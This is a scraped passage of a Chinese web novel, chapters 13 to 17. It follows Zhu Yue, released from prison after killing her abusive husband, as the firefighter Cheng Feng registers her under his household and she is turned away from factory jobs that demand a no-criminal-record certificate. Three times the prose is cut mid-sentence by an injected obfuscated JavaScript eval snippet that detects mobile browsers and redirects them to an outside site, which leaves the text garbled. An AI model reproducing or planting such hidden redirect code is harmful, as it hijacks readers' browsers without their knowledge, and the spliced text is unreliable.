仿佛看出她心里的想法,程峰轻声接话,“凤南所,已经搬走了……” 他沉静的眸光有种奇异的力量,竺月心神定了定,安静靠向座椅。 时隔五年,凤南街道那几条老街几乎全部改造一新。 竺月甚至找不到当初蒋家那条破旧的小巷。 凤南派出所的新址在一片繁华的街区,和区法院并排在一块,远远看去,两栋藏蓝色的大楼显得异常庄严。 竺月想起那年庭审自己戴着手铐站在法庭中央,像一条横在砧板上的鱼,无论怎么挣扎,结局都已注定…… “原户口已经注销了,新户口要落户哪里?” “……” “竺月?” 竺月怔怔回过神来,“哦,什么?” 程峰便重复了遍,“工作人员问你新户口要落户在哪里?” “新户口……” 竺月被他问得一滞,父母离婚后,她被判给父亲,后来父亲再婚把户口迁走了,她便跟着奶奶…… “可以迁回原籍吗?”竺月问。 工作人员查了下系统,“……原籍是代尾镇东山村的,可以是可以,但必须原籍的户主同意接收,或者在当地有住房。” 竺月和程峰相视一眼。 她原先的户主是奶奶,奶奶已经去世了。 至于住房……也已经被大伯卖了。 两人相视一眼,程峰问工作人员:“没有其他办法吗?” 工作人员想了下,“按照咱们东霞的政策,常见的就是这两种,再就是找亲戚家帮忙挂靠……” 亲戚?父母和大伯都对她唯恐避之不及,更不用提其他人了。 竺月垂眸看着面前的监督牌,“如果不上户口会怎样?” 一旁程峰轻皱了下眉,就听工作人员回道,“那就相当于无户口了,身份证社保医保这些都办不了,对日常生活和再就业都有很大麻烦。” 竺月苦笑了声。 相当于黑户,根本生存不了。 工作人员看着她灰败的神色,“所以还是要想办法落户,或许你可以问问父母那边的其他亲朋好友——” “如果以非亲属的名义落户呢?” 竺月和工作人员同时抬头看去,就见程峰指了指自己,“可以落在我户籍上。” 14. 第 14 章 @晋江原创@ “落户你名下?” 程峰握着手机站在办事大厅门口,听见站长沉稳的声音从那头传来。 邱站长比他大十岁,从他毕业分配到罗顺消防站就一直在他手下工作,去年任命为副站长后更是少不了他引导,对他而言是亦师亦友般的存在。 让竺月落户不算小事,程峰需要提前向领导报备。 他没迟疑,“对。” “非得落你名下?她父母和其他亲戚朋友呢?”邱永忠问。 他知道程峰之前几乎每个月都会去东霞女子监狱探望一个朋友,他并不知道程峰对竺月的心思,就是觉得纳闷,人都出狱了,难道回原籍不行? 程峰回头,视线透过玻璃窗落向竺月正在填表的背影上,他向上级简单陈述了下竺月的家庭情况,最后总结一句,“没有别的办法了。” “所以就只能落你名下?”邱永忠拧着眉,“你这朋友到底犯的什么罪?” 程峰默然片刻,摸了摸头,“她就是正当防卫——” “你跟我说实话。” 程峰不语。 邱永忠拧眉,“你以为我查不到?” 程峰无奈,默然片刻,只能如实汇报,“她……过失杀人。” 说完马上解释,“其实她并没有犯罪动机,她也是被逼的,她丈夫——” “你是不是喜欢人家?”邱永忠打断他。 “……” 程峰耳垂一烧,却没否认。 邱永忠是过来人,他心里一沉,“你该不会,还想和她结婚吧?” 程峰这次没沉默,“如果她愿意……” 邱永忠几乎要被他气笑了。 “你知不知道自己什么身份?你将来打结婚报告是要政审的……” 程峰愣了下,声音微哑,“我……知道。” “知道你还这么干?” 邱永忠扶了扶额,他和程峰共事两年多,印象中程峰这个人虽然沉闷了些,但遇事绝对理智担当,加上本身专业水平高,是东霞整个消防系统中不可多得的人才,尤其是他升为副站长的这半年,两人配合默契,解决了辖区大大小小的警情,可以说只要好好培养,他将来肯定要再往上面发展的。 邱永忠心里一直把程峰当成未来接班人来培养。 但现在,邱站长觉得自己平时管站里那些年轻的调皮鬼都没这么头疼。 他深吸了口气,还是先规劝为主,“程峰,你还年轻,遇到事情还是要冷静一些。” “郭政委和朱教导员他们都十分看好你,将来不管是走技术岗还是走管理岗,你都是很有优势的,未来前景一片明朗,绝对不会止步在基层。你说你,不说找个条件多好的女生,你起码找个和你差不多的,不会影响到你前途的……” “要是和她结婚,你的职业生涯就到头了,以后不管是提拔、晋升还是调任你都别想,更不用说这种关系还影响到下一代, 说到最后,邱永忠几乎是苦口婆心了,“你才二十四岁,别感情用事。” 这期间,程峰一直安静听着,只在他说到最后一句话时才开口,“不是感情用事。” 邱永忠:“?” 程峰转头看了眼大厅,语气带了点萧索,“如果可以,八年前我就想这么做。” 八年前? 那会他才十五?十六? 毛都还没长齐就想跟人结婚?邱永忠被气笑了,“你小子倒是挺早熟啊。” 程峰没笑,语气认真,“可以吗站长?” 那头止了笑,隔着手机,空气似乎瞬间沉闷了下来。 压抑,凝重…… 程峰也没说话,极有耐心地等着。 时间一秒一秒过去,仿佛无形的拉锯战一样。 良久,邱永忠轻叹了声。 相处两年多,他知道程峰看似安静随和,实际拗起来八头牛都拉不回。 之前辖区一个老旧小区发生了火灾,火情蔓延很快,他们带着群众撤出来时,整栋大楼都烧起来了,结果程峰硬是冲回去,把困在楼里的一个独居老太太背了出来…… 还有一次,一个化工厂发生爆燃,程峰带队攻入核心区,上面都下命令让大家撤退了,程峰却坚持关完阀门再走,死死攥住阀门到最后一圈阀门闭合才撤离,虽然有效避免了大规模的爆炸发生,但他自己却被另一侧爆燃的储罐冲击波掀了出去,在医院养了半个月才好…… 诸如此类的事情还有很多,入队不过短短两年多,他屡次立功,大大小小的奖励无数,连总队长都认得这个不要命的小年轻。 邱永忠心里还是有些遗憾,他一手培养起来的新兵蛋子啊…… “户口的事先解决吧。” 程峰松了口气,由衷道,“谢谢您。” 说话间他望着大楼中间突出的藏蓝色屋檐,想起自己穿着藏蓝色作训服第一天入队跟邱永忠报道时的场景。 邱永忠:“我不知道你们之间什么情况,但无论什么时候,你别忘了自己的职业,组织也决不允许你做任何违纪违法的事情。” 程峰面上一肃,“我明白。” 邱永忠话都说到这份上,他还是没有一点动摇迹象,气得没好气哼了声,“之前还觉得你比那群臭小子懂事,没想到一整就是个大的,你将来别找我哭。” 他是真心为自己好,程峰心头一暖,“谢谢邱哥。” “滚吧滚吧。” 程峰看着结束通话的屏幕,轻握了下手机,转身推开了办事大厅玻璃门。 有了程峰的户籍和身份证,工作人员很快为竺月重新办好户口手续。 接过盖好印的户口簿,竺月摩挲着上面的黑色字体,心里说不出是什么滋味。 抬头望向等在一旁的程峰,她嘴唇动了动,半晌才挤出一句“谢谢。” 程峰弯了弯唇,难得开玩笑,“等你哪天买了大房子,再把这一页还给我。” 这个笑话其实有点冷,以竺月的现状,基本不可能实现,但她很给面子地扯了下嘴角,“好,我努力。” 这是她出狱后程峰在她脸上看到的第一个笑容。 像阳光拨开浓厚的乌云,光芒从缝隙中倾洒而出。 虽然很清浅,但程峰心里还是漾起一阵细腻的涟漪。 他看着她淡笑的脸,心里想的却是,如果她一直留在这页就更好了。 有了户口,办身份证就更方便了。 竺月将旧的身份证交回去,又在工作人员引导下去拍照。 她面容平静对着摄像头,闪光灯响起时,心里骤然冒出“洗心革面、重新做人”一行字。 新的身份证要七个工作日才能寄到,于是竺月又办了临时身份证。 两人走出办事大厅,竺月把户口簿还给程峰。 “有需要再找你拿。”她说。 “好。” 程峰把户口簿塞进文件袋,竺月隐约看见里面似乎还夹了张薄薄的卡片,还没看清,他已经收了起来。 程峰转头见她盯着自己手里的文件袋,他目光闪了下,“怎么了?” 竺月摇头,“走吧。” 幸好,她没发现。 程峰偷偷将里面那张薄薄的卡片塞进去去,连户口簿一起放好后,才谨慎拉上拉链。 他刚才找工作人员把她的旧身份证要了回来,虽然用不了了,但他还是想留着,哪怕只是当做一个念想。 “程峰?” “来了。”程峰应声追了上去。 两人去的下一站是行政服务中心,要给她重新办理医社保。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660837|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中间经过凤南农贸市场时有些堵,四条车道被路边的小摊占了两条,卖菜、卖水果、卖海鲜、卖农副产品的几乎应有尽有。 “这边东西还挺新鲜的。” 程峰遗憾要赶路,不然就买些菜回去。 说完却不见竺月回应,他疑惑转头,就见她怔怔望着不远的一处小摊贩,神情晦涩而复杂。 程峰循着她视线看去,那是一个上了年纪的女摊贩,约莫六十几岁,面前用化肥袋摆着一些家种的青菜,看着和其他小贩并没什么不同,就是眼神似乎不太好使,显得人有些呆滞。 “竺月?” “程峰,你能借我点钱吗?” 副驾的人突然转过头来。 程峰:“可以,你要买什么?” 他说着从口袋里摸出三百元递过去,“够吗?不够我再去——” “够了。” 程峰便靠边停了车。 竺月推门下车,直直朝不远处的摊贩走去。 大概是眼神不好使的缘故,那个女摊贩的生意并不好,也不懂得像其他摊贩那样招揽顾客。 竺月挑了些空心菜、白萝卜、胡萝卜和洋葱。 “好吃吗?” 老妇人守了一上午摊子,难得来了单大生意,激动地手都在颤抖,一边摸索着给她找袋子,一边操着口蹩脚的普通话解释,“好吃的,都是自家种的,肯定好吃的,你尝尝看,好吃再来……” “好。” 竺月视线落在那张布满皱纹的黝黑脸上。 五年不见,严美瑛肉眼可见的苍老了许多。 如果当初不是她的谅解,自己不可能只判五年。 竺月把钱递给她,另一手接过袋子,“谢谢。” “好,我找钱给你……” “哎,不用这么多,还没找钱呢……” “不用找了。”竺月提着袋子站起来。 最后看了眼还在摸索着一堆零钱的老妇人,她转身离开。 刚走几步就碰到跟过来的程峰。 见状,程峰伸手接过她手里的袋子,“买挺多的。” 竺月嗯了声,“钱……” 触到他无奈的眼神,她张了张嘴,又咽下到嘴的话。 车子渐渐驶离拥挤的农贸市场,倒车镜里,老妇人的身影渐行渐远,成了一个佝偻的小黑点。 安静的车厢和喧嚣的街道形成鲜明对比。 程峰开着车,身侧突然响起竺月听不出情绪的声音。 “刚才那个人,是我以前的婆婆。” 他握紧方向盘,抬眸扫了眼车内镜。 镜子里的竺月没看他,仿佛那些话只是说给自己听。 “当初蒋庆明打我,她根本不敢劝,躲得远远的……” “看着她儿子将我往死里揍,就怕下一个轮到她自己……” “其实……她心里也是盼着他死的吧……” “不然……她干嘛要谅解我呢?” “别想那些了。” 车子在路口停了下来,程峰看着身侧神情淡然的人,只觉心里一阵难受,“放过自己,走出来好不好?” 走出来? 竺月怔了怔。 是啊,她坐了五年牢,都已经出狱了。 可是心里那座牢狱,为什么还不放过她呢…… 竺月恍惚转头,对上程峰满含担忧的眼睛。 就像小时候她每次闯了祸,他总担心她回家又要挨一顿揍。 傻弟弟…… 连自己的户口簿都献出来了。 除了奶奶,这世上也只有他是真正关心她了。 竺月心里既暖又酸。 她闭上眼,缓缓靠向副驾驶座。 “程峰,我想明天去找工作。” …… 15. 第 15 章 @晋江原创@ 按照程峰的想法,起码让竺月休息一个月再考虑下一步。 诸如找工作或者未来做什么…… 但竺月有自己的顾虑,她不能一直心安理得地在程峰这里蹭吃蹭喝。 程峰拗不过她。 家里没电脑,晚饭过后,竺月便让程峰带她去打印店弄简历。 她高中毕业后在工厂和服装店上过班,虽然学历不高,但进厂打螺丝应该没什么问题,或者去超市当营业员也可以。 不过竺月更倾向于进厂,尽管工作时间长了点,但是包吃包住,攒下来的钱可以早点还给程峰。 从打印店出来,竺月捏着手里还冒着热气的简历,感觉心里踏实了些。 身份证有了,简历有了,再找一份工作,一切就尘埃落定了。 就像出狱时陈丽菁对她说的那句“出去了就别回头”,竺月尽量不去回想监狱里的那几年。 “先收起来吧。” 一旁程峰递了个档案袋过来,看着她小心翼翼把简历放进去,他无奈一笑,“就不能多休息几天……” “休息什么,又不是生病做手术。” 竺月正要从口袋里摸烟,却听程峰问她,“要不要喝奶茶?我请你。” 顺着他视线,竺月看见斜对面有家奶茶店,店面不算多大,门口却排了不少人。 竺月以前在厂里上班,夏天下夜班后偶尔会买外面小摊上一杯五块钱的大茶杯珍珠奶茶,那种冰凉Q弹的口感到现在还记得。 她塞回香烟,“好啊,下次我请你。” 程峰弯了弯唇,领着她过去排队。 听队友说女生都很爱喝这些玩意,不过程峰从来没点过。 竺月则是被琳琅满目的品种弄得眼花缭乱。 店员见两人犹豫半晌还拿不准注意,便热忱推荐,“这款芝士桃桃是我们店的招牌,很受女生青睐,你女朋友肯定也喜欢。” 女朋友? 竺月狐疑望向身侧的人。 “……” 四目相对,程峰瞬间涨红了脸。 他不自然地清了清嗓子,“好,那就来两杯芝士桃桃。” 店员:“几分糖?” 竺月想了下,“就五分吧。” 又转头问程峰,“你呢弟弟?” 程峰正要掏出手机,闻言动作一顿。 “?” 他垂眸看向竺月,后者坦然冲他弯了下唇。 是啊,她从小就一直这么叫他。 程峰唇角动了动,想回应,心里却莫名泛酸。 “不好意思啊,那您这边要几分糖?” 面前再次传来店员带着歉意的声音,程峰定了定神,掏出手机付款,“一样,五分。” “好,请稍等。” 结完账,程峰梭巡着不大的店铺,正要给竺月找个位置,面前突然多了两道年轻的身影。 是两个大学生模样的女孩,其中一个长发头的有些羞涩地望着程峰,“你好,请问……你是消防员吧?” “……” 程峰低头看了眼自己身上的藏蓝色T恤,他晚上做饭弄得一身汗,临出门前换了件作训服,一眼就被人认出了职业。 “有事吗?”他礼节性地问。 年轻男人清冽的声音很好听,那女孩脸红更甚。 她咬了下唇,在闺蜜的鼓励下继续开口,“能加个微信吗?我很……很喜欢消防员。” 程峰不是第一次被人要号码了,之前去学校、去企业或者去单位做消防宣传,时不时地会有人想加他微信,不过他都是很委婉地拒绝了…… 他没说话,下意识看向竺月,却发现她不知什么时候已经躲到门口去了,见他看她,她甚至戏谑地冲他眨了眨眼。 显然也发现了两个女生的意图。 程峰扯着唇,却半晌挤不出回应的笑容。 之前好不容易压下的那股酸涩感再次涌上心头,堵在喉头,让他感觉胸口一阵闷疼。 程峰深吸了口气,收回视线,语气疏远了几分,“抱歉,我有女朋友了。” “啊,这样啊……”两个女生相视一眼,都有些尴尬。 恰好店员喊他过去取餐,程峰无视女孩失望的表情,轻点了下头,兀自转身走了。 竺月其实一早就注意到两个女孩了。 刚才她们就排在他们身后,其中那个长发女孩一直在偷看程峰,眼中难掩倾慕,后面她俩过来找程峰时,竺月便十分识趣地避开了。 就连那声“弟弟”也是故意的。 消防站里都是男的,不然以程峰的外形条件,不至于找不到女朋友。 难得有女生主动搭讪,竺月觉得程峰应该好好把握。 她没想到程峰这么快就提上奶茶出来了。 从那女孩尴尬的神情和一旁闺蜜拍着她肩膀安抚的动作来看,双方交流似乎不是很愉快。 尤其程峰还板着一张脸,好像人家欠他似的。 竺月有些不能理解,却也识趣地没有马上问他。 一路无话回小区。 竺月默默喝那杯芝士桃桃。 她以前喝的都是珍珠奶茶,还是第一次喝这种果茶茶。 感觉口感比珍珠奶茶丰富,果粒也很足。 同样的奶茶,心境不同,入口的味道也截然不同。 程峰已经完全没有了刚才的兴致。 他抿了一口,只觉又甜又腻,根本不想再喝第二口。 夏夜燥热,树上依稀传来阵阵蝉声。 暗黄的路灯在地上曳出一长一短两道影子。 竺月很快喝了半杯,转头却见程峰握着茶杯,依然一脸凝重的样子。 “不喜欢干嘛还要点?” 程峰正盯着地上两道影子出神,闻声抬眸,他看了眼手里,勉强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660838|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯了下唇,“也……还好。” 竺月有些好笑,还以为他很喜欢喝呢。 她又抿了口奶茶,故作不经意般引出话题,“刚才那女孩挺漂亮的,看着也挺有素养。” 程峰脚步一顿,眉头轻蹙,他根本忘了那个搭讪的女孩长什么样。 见他不语,竺月只当他害羞放不开,便语带鼓励道,“男孩子,还是要主动点才能追到女朋友哦。” 她就那么希望他交女朋友? 在她心里,是不是一直把他当成那个长不大的小屁孩?是不是从来没有正视过他的存在?是不是巴不得把他推给别人…… 程峰心头发涩,酸涩的话不经大脑一样冒了出来,“像那个人那样吗?” 那个人? 竺月愣了一下才反应过来那个人是谁? 而程峰几乎刚问完那句话他就后悔了。 看着她渐渐凝在脸上的笑容,他恨不得给自己一拳,“对不起我——” “是啊,不然怎么能骗得到我呢?”竺月笑着打断他,没心没肺的语气,“程峰,你要多向他学学。” 谈恋爱的时候伪装地有多深情,婚后撕下面具的反差就有多可怖! 程峰脸上一阵白一阵红的,垂在身侧的手紧握成拳。 心里一片灰败。 他真是疯了,居然在她面前提起那个人?居然那样揭她伤疤? 他这样,和那个禽兽有什么区别! “竺月姐我……” 话未说完,竺月已经径自走了。 程峰面上一急,忙追了上去。 “对不起,我不该……” “竺月姐……” 一直到两人回到家,竺月都没说话,或者说看都没看他一眼。 程峰好几次试着向她道歉,然而竺月根本不接话。 他本身也不是很会哄人的性子,手足无措看着她进门,换了鞋子,最后一个人去阳台上抽烟…… 程峰给她倒了杯水,见她还是不理自己,只能默默把切好的水果放在茶几上,又默默跟到门口…… “你也想变成那样的人吗?” 月色下,那道纤细的身影显得瘦削而落寞。 程峰嘴唇动了动,心里懊悔又难受,他真是混蛋! “对不起。” “程峰……” 竺月终于缓缓转过身来,她浅浅咬着烟蒂,袅袅烟雾让他看不清她脸上的表情,只有声音淡而决绝,“谈不谈女朋友是你的自由,但如果谈了,请你好好珍惜。” 掐灭手里烟头,她慢慢走了过来。 尼古丁的气息落在他颊畔,“别活得像个畜生。” 程峰:“……” 他颓然看着她自自己身旁走过,想伸手拉她,却只抓到满手虚无的空气。 “嘭”的一声,门关上了。 仿佛她心里那堵墙,将他严严实实的挡在了外面…… 16. 第 16 章 @晋江原创@ 清蒸鲈鱼、白灼九节虾、凉拌空心菜、萝卜丝炒牛肉,还有冒着香气的鸡蛋饼。 竺月一早起来,看见客厅小饭桌上已经摆着满满一桌菜了。 厨房门口,一身藏蓝色作训服的程峰正端着两碗小米粥出来。 看见她,他面色微窘,却还是扯了抹笑,“起来了……” 见竺月没应,他放下碗,牵强的笑容愈发拘谨了几分,“先去洗漱,马上就可以吃饭了。” 竺月木然看着他,才六点半不到,就做好了这么多菜。 却也没说什么,兀自转身进了洗手间。 她今天换回了自己出狱时的那身行头,虽然灰扑扑的,好在本身底子够白,整体看起来还算干净整洁。 等竺月洗漱完出来,程峰已经连餐具都摆好了。 青年挺着一米八五的大高个守在桌子旁,身形板正得像被罚站。 看着她走过来,他连忙伸手拉椅子,“坐这。” 他的讨好笨拙又刻意,竺月默了默,就着他拉开的椅子坐下。 饭早早就打好了,筷子和勺子也都整齐摆在她面前,竺月拿起筷子,想到这些菜似乎还是她昨天从严美瑛的小摊上买的。 程峰一直在观察她的反应,见她半晌没动筷,以为她怕烫,便放下碗筷小声解释,“我煮好后就把锅盖掀起来,应该已经凉了。” 竺月抬头,程峰微抿着唇看她,那双澄澈的黑眸微微泛红,显然一夜没睡好。 竺月又看向满桌的菜肴,她这两天吃了他做的饭,知道他厨艺不错,更不用说这几道一看就是用心烹饪的。 “你几点起的?”她问。 她终于肯搭理他了! 程峰眉眼染起一丝雀跃,他压了压上扬的嘴角,有些不好意思地说,“四点。” 怪不得能做这么一大桌菜。 竺月:“就我们俩,哪里吃得完?” “你不是,今天要去找工作,我想着多煮点……”程峰摸了摸头,笑容微憨。 昨天从行政服务中心回来都快一点了,两人都饿得不行,后面他煮了点汤米粉,竺月难得吃了一整碗。 “竺月……” “程峰。”竺月的视线重新落回他脸上,“昨晚是我小题大作了。” 程峰怔了怔,想起昨晚她一个人在阳台上抽烟的画面,只觉心被针扎了一样难受。 “我——” “你只是无意提了一嘴,我就跟被踩到尾巴的猫一样,是我自己的问题。” 竺月神色坦然,语气也没有太大起伏。 然而就是这样的她,却让程峰更加自责愧疚,宁愿她打他骂他,也好过被疏远。 “不是的。”他涨红了脸,仿佛又变回那个被人厌弃的小男孩,局促、无措、羞窘……各种神色浮现在那张清俊的脸上,“其实我,我那是,因为我……” 竺月:“?” 程峰嘴唇动了动,耳垂红得几乎能滴血。 那句话就卡在喉头,随时都能脱口而出。 然而此刻看着面前那双沉静的黑眸,他却有些迟疑了。 程峰从知事起就跟在竺月身后跑,那时的她就像个会发光的小太阳,漂亮干净,活泼又仗义。 而他出生就被抛弃,亲生父母不祥,老程没空管他,任由他像株野草般杂乱成长…… 那时,他只是她身后一道微不足道的小黑影,他在她的光芒下成长,像她送给他的那盆太阳花,向阳而生,努力跟随她的步伐。 就算后面发生了那么多变故,但竺月还是竺月,是他心里绚烂动人的太阳花,在心脏最柔软的位置里扎根,谁也无法动摇…… 害羞是一部分,却不是最主要的问题。 两人认识二十几年,程峰实在太了解她了。 以竺月的性格,加上她经历过的那些,一旦发现他的心思,极有可能会和他彻底拉开界限,甚至今天就会离开这里…… 这也是他最怕看到的结果。 竺月不知程峰心里所想,见他欲言又止望着自己,她无声叹了口气,终是对这个从小一起长大的弟弟心软了。 “算了,你现在有自己的想法,以后我不多管闲事就是了。” 程峰眼底闪过一丝错愕。 她以为是他不想交女朋友,殊不知其实…… 程峰只能苦笑。 饭后竺月主动帮忙洗碗。 程峰一开始还不肯,被竺月拿眼刀一瞪,最后默默拿抹布出去擦桌子了…… 两人去的第一站是霞南高新工业园区。 这里离程峰租的地方不算远,是东霞市最大的工业园区。 里面工厂林立,集中了各种各样的制造业,也汇聚了几十万外来务工人员。 竺月高中毕业时找的第一份工作就是在这里的一家玩具厂。 时隔十年,当初那家玩具厂已经找不到了,不过附近类似的工厂也很多。 不少工厂门口都摆着招工的广告牌,竺月决定先从有经验的开始。 他们找了家规模不大不小的侨资玩具厂,向保安说明来意,一番登记后便被通知直接去办公楼面试。 这家工厂一共三栋大楼,人事部在入门后第一栋的十三楼。 大约来早了,办公室里没什么人,负责面试的HR手里还拿着吃了一半的早餐。 看见两人进来,她放下豆浆,目光在程峰身上微顿,“两个人吗?” 程峰摇头指了指竺月,后者忙递上简历,“是我应聘。” “这样啊。” HR似乎有点小失望,不过还是接过竺月手里的简历,“月薪四到五千五,主要按寄件来算,工作时间早上八点到中午十二点,下午两点到晚上九点,可以接受吗?” “一天上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660839|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十一小时?”程峰皱眉。 HR对他的反应有些好笑,“普工都这样,我们厂还比较人性化,晚饭给一个小时时间,实际上班时间只有十小时,你去看看附近其他工厂,每家都要十二个小时。” 那也太长了吧。 程峰又问:“月休几天?” “每周单休。”HR顿了下,补充:“不过赶货的时候需要加班。” 也就是说月休四天都不一定能保障。 程峰还想再问,一旁竺月已经抢过话头,“有包吃包住吗?” “当然。”HR指了指后面那栋楼,“食堂在二楼,三楼以上是宿舍,六人一间,每间都带卫生间,环境绝对可以。” 确实,竺月以前住的都是八人间甚至十人间。 包吃包住,一个月还有四五千的工资,这待遇比竺月想象中好多了,她以前刚出来打工时,月薪也不过两千元,更不用说之前在监狱车间干活,就算超额完成每天的劳动定额,一个月也才一百元补贴。 她身体微微前倾,有些恭谨地问HR:“大概什么时候可以开始上班?” 程峰没想她这么快就定了,偷偷扯了扯她衣服。 竺月递了个警告的眼神给他,又冲HR笑了笑,“您继续。” “办完入职手续就可以上班了。” HR视线扫过竺月那身灰扑扑的衣服,压下心底轻蔑,抽了张表格递过去,“先把表格填了,再按后面这张去办材料。” “好。” 无视程峰抗议的目光,竺月忙不迭接过HR手里的表格开始填。 HR:“入职体检是不能报销的,还有无犯罪记录证明,你一并弄好后带过来就行。” 无犯罪记录证明? 竺月握笔的手一顿。 有些讨好地看向HR,“厂里上个班,怎么也要无犯罪记录证明?” “现在都要这个。”HR以为她觉得麻烦,随意从桌上拿了几份员工入职材料,“开这个也很快,你带上身份证随便找个派出所都可以,马上查马上就能给你开出来,很方便的。” “……是吗?”竺月笑容微僵,“都能查吗?” HR:“当然,现在公安都是全国联网,跨省都没问题。” “没有这张就不能办入职?”一旁程峰轻问。 “没办法,厂里规定。”HR揶揄一笑,“你带你老婆去呗。” 程峰的脸一下红了。 垂眸看了眼竺月没吱声。 HR目光沿着他俊秀的脸直白落向他坚实的胸膛和腰腹,不由咽了口豆浆,心想这女工运气忒好,这男孩一看就是个有劲的…… 来厂里打工的大多早早辍了学,十八九岁的年轻小夫妻也比比皆是。 竺月没留意HR的眼神,她缓缓放下手中的笔。 “不好意思,我再回去考虑一下。” …… 17. 第 17 章 @晋江原创@ 两人走出玩具厂大门,程峰安慰她,“这边有很多工厂,我们去其他家再看看。” “她不是说了,现在都要开无犯罪记录证明吗?”出师不利,竺月有点蔫儿,“去哪都一样。” 程峰:“这才第一家,再试试吧。” “万一还是要呢?”竺月没什么信心。 “万一不用呢。”程峰语带鼓励,“再试一试。” 迎着他漆黑澄澈的眸子,竺月张了张嘴,最后叹了口气, “好吧,那就再试一家。” 勉强打起精神,或许有例外呢。 于是两人带着丝希望又去了附近的一家电子厂。 电子厂急着招工,HR十分热情。 他甚至提议竺月先上班,入职后再慢慢把材料补齐。 说这话时的他大概也没料到,面前这个瘦瘦小小的年轻女人,竟然背负着一起刑事案件。 对着那张笑脸,竺月差点说不出拒绝的话。 最后还是程峰把她拉走,“谢谢,我们再回去考虑一下。” “好的,抓紧来啊。” 走出电子厂,竺月望着欲言又止的程峰,“事不过三……再试一家吧。” 程峰当然不可能说不。 于是两人又找了家鞋厂,这家是外企,待遇比之前两家都要好,同样包吃包住,但是这边月休六天,而且工资也更高,还有生日补贴,节日礼品,一年还能安排一次团建。 当然,条件也更苛刻,不仅要无犯罪记录证明,还要开全家人的证明。 HR也显得高高在上。 “无犯罪记录证明不是最基础的吗?” “这有什么问题,难道你开不出来?” “我们这是外资企业,要是用人出了问题,我也要负责的。” “该不会你家人有什么案底吧?” 迎着那双带着审视的眼睛,竺月几乎落荒而逃。 所以,在东霞市找工作并不难,难倒竺月的,是一张无犯罪记录证明。 程峰也没想到,明明考公、考事业单位才会用到的材料,怎么就变成入职门槛了? 从电子厂出来时,竺月脸上已经没有了初来时的雀跃。 天气很热,程峰跑去门口小超市买了水回来,“我刚问老板,这一片不少工厂都在招工,咱们先回去休息,下午再来看看。” 竺月正靠着车子抽烟,闻言轻吐了口烟雾,“算了,别白费力气了。” 已经连续三家这样了,工业园区上百家工厂,就算有例外,也是大海捞针。 程峰环顾着面前偌大的工业区,工厂里人多,人员素质参差不齐,为了确认应聘者的背景和品行,就算要求提供无犯罪记录证明也很正常。 他想了下,扯着笑鼓励她,“……不然就去市区,中心广场那边很多店门口都贴着招聘广告。” 中心广场是离他那最近的一个广场。 竺月夹着烟重重吸了一口,“走吧。” 见她掐灭烟头,程峰便拧开矿泉水瓶递过去,“先喝点水。” 跑了一上午,竺月还没什么,程峰却是后背湿了大一片,黑色T恤贴在身上黏糊糊的,汗水也沿着脸颊不断滴落下来。 竺月接过水瓶,却没马上喝,低头从口袋里掏出包纸巾递过去。 程峰擦汗的手一顿。 “擦擦吧。”竺月扬了扬手帕纸,“出门前从你桌上顺走的。” 程峰怔怔看着她淡然白皙的脸,过了会儿才缓缓伸手。 从她手里接过纸巾时两人的手短暂碰了一下,程峰只觉心跳一阵加速,耳廓霎时红了。 竺月的手又瘦又小,指腹还覆着层薄薄的茧子,指尖却浸着股寒意,像老家冬天被冰霜覆盖的野草。 程峰想起之前玩具厂那个HR说的那句“你带你老婆去呗”,他脸红更甚,嘴唇动了动,很想对竺月说“不然我养你吧”。 他一个月七七八八补贴加起来实到手能有八千左右,他不抽烟不喝酒也不买衣服,平常几乎不花钱,如果都交给她…… 程峰眼里的光黯了下来。 竺月根本不会接受的。 回去路上两人都没怎么说话。 竺月兀自望着窗外不断掠过的厂房发呆,程峰试了几次,都没带起话题。 中午煮了面,竺月显然没什么胃口,只吃了小半碗就放下了。 “你忙你的,我出去转转。” 程峰正把剩下的汤面舀起,闻言放下汤勺出来,就见竺月正站在门口换鞋。 程峰:“你要去哪儿?” 竺月弯着腰扣上鞋后跟,“随便走走。” “我陪你,你等我下。”程峰说着就要去拿车钥匙。 “不用。”竺月站起身,“你明天就回去上班了,别跑来跑去。”难得放假,已经陪着她折腾了两天。 “我没关系。”程峰见她都已经穿好鞋子,忙跟过去,“外面热,我送你。” “停车不方便。”竺月摇头指了指窗外,“我走路就行了。” 她对这一片并不熟悉,也不可能跑太远,主要还是想去找工作。 “竺月——” 程峰还想坚持,竺月眉头一拧,语气有些不耐,“我又不是小孩,又不会丢了!” 程峰面上一窘,默默咽下后面的话。 一米八五的大高个,表情像做错事挨训的小孩一样,竺月无奈缓了口气,“放心,我不会再做傻事。” 她要活着,要赚钱,还要把被大伯卖掉的老宅买回来。 竺月定了定神推开房门,“我会早点回来。” 